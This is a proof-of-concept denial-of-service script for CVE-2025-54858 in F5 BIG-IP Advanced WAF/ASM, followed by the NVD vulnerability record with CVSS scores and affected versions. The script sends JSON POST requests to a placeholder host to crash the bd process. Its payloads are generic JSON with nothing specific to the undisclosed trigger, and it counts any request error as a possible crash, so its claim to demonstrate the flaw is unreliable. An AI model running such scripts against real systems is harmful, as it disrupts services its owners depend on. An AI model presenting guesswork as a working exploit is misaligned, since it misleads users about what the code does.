CVE-2025-54858

# CVE-2025-54858 PoC - F5 BIG-IP JSON Content Profile DoS # This PoC demonstrates triggering the bd process crash via malformed JSON schema # Note: Requires a BIG-IP device with Advanced WAF/ASM configured with # a JSON content profile containing a malformed JSON schema import requests import json import sys target_host = "https://target-bigip.example.com" virtual_server_path = "/" # Path protected by the vulnerable virtual server def trigger_crash(): """ Send crafted HTTP requests that trigger JSON schema validation in the bd process, causing it to terminate. """ # Attempt 1: Send request with JSON content-type to trigger schema validation headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-54858)" } # Crafted JSON payload designed to trigger malformed schema validation payloads = [ # Deeply nested JSON to trigger schema validation edge cases json.dumps({"a": {"b": {"c": {"d": {"e": {"f": "test"}}}}}}), # JSON with unexpected types json.dumps({"data": [1, 2, {"nested": [True, None, "string"]}]}), # Large JSON object json.dumps({f"key_{i}": f"value_{i}" for i in range(100)}), ] for i, payload in enumerate(payloads): try: print(f"[*] Sending payload {i+1}/{len(payloads)}...") response = requests.post( f"{target_host}{virtual_server_path}", headers=headers, data=payload, timeout=10, verify=False ) print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed (possible crash): {e}") return True return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-54858 - F5 BIG-IP JSON Content Profile DoS PoC") print("=" * 60) print(f"[*] Target: {target_host}") print(f"[*] Path: {virtual_server_path}") print() if trigger_crash(): print("[+] bd process may have been terminated!") sys.exit(0) else: print("[-] No crash detected. Target may not be vulnerable.") sys.exit(1)

{"cve": {"id": "CVE-2025-54858", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:50.343", "lastModified": "2025-10-21T20:13:30.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When a BIG-IP Advanced WAF or BIG-IP ASM Security Policy is configured with a JSON content profile that has a malformed JSON schema, and the security policy is applied to a virtual server, undisclosed requests can cause the bd process to terminate.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.10.8", "matchCriteriaId": "8CDAF78A-6C2B-4640-93DD-524A0D9D80CE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.1.0", "versionEndExcluding": "16.1.6.1", "matchCriteriaId": "025BE711-822D-4840-920C-E8636DA97738"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.1.0", "versionEndExcluding": "17.1.3", "matchCriteriaId": "0B24E3BE-8A62-4819-B63C-01EE10E6160F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.5.0", "versionEndExcluding": "17.5.1.3", "matchCriteriaId": "6DC6C7E3-7437-4E51-8FB7-7371CF963060"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.10.8", "matchCriteriaId": "2450DC77-B46C-4886-AC9A-CF78B1EC4F06"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.1.0", "versionEndExcluding": "16.1.6.1", "matchCriteriaId": "5A23DB2A-FB60-4DA3-A7CD-D714BE1BDFBD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.1.0", "versionEndExcluding": "17.1.3", "matchCriteriaId": "BF0F0A9D-1B7E-4271-B309-64399AC7DD89"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.5.0", "versionEndExcluding": "17.5.1.3", "matchCriteriaId": "6725ED7F-068C-49E2-AA9D-EDC1C053460D"}]}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000156621", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}